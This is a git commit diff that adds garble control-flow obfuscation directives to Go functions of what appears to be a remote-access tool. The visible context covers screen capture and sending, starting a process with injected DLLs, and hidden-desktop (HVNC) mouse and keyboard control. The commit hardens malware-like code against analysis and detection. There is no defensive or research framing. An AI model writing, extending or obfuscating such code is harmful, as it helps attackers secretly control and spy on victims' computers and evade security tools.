add control flow obf for garble

This commit is contained in:
KingKDot
2026-04-20 13:46:59 -05:00
parent a43da5e047
commit a58e0fadf1
37 changed files with 47 additions and 0 deletions
@@ -23,6 +23,7 @@ import (
)
func Loop(ctx context.Context, env *rt.Env) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
defer recoverAndLog("capture loop", env.Cancel)
logCodecSupport()
@@ -85,6 +86,7 @@ func CaptureDisplayRGBA(display int) (*image.RGBA, error) {
}
func CaptureAndSend(ctx context.Context, env *rt.Env) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
defer recoverAndLog("capture send", env.Cancel)
displays := activeDisplays()
@@ -754,6 +754,7 @@ func calcDirSize(dir string) int64 {
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" {
return 0, fmt.Errorf("empty file path")
}
@@ -805,6 +805,7 @@ func hvncEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
}
func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
captureMu.Lock()
defer captureMu.Unlock()
@@ -995,6 +996,7 @@ func isExplorerRunningToolhelp() bool {
}
func hvncMouseMoveOnThread(display int, x, y int32) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
bounds, _ := hvncResolveCaptureBounds(display)
if bounds.Dx() <= 0 || bounds.Dy() <= 0 {
hvncInputMu.Lock()
@@ -1059,6 +1061,7 @@ func hvncMouseMoveOnThread(display int, x, y int32) error {
}
func hvncMouseButtonOnThread(button int, down bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
pt := currentHVNCCursor()
if button == 0 && !down {
@@ -1169,6 +1172,7 @@ func hvncMouseButtonOnThread(button int, down bool) error {
}
func hvncKeyOnThread(vk uint16, down bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
pt := currentHVNCCursor()
hwnd := windowFromPoint(pt)
if hwnd == 0 {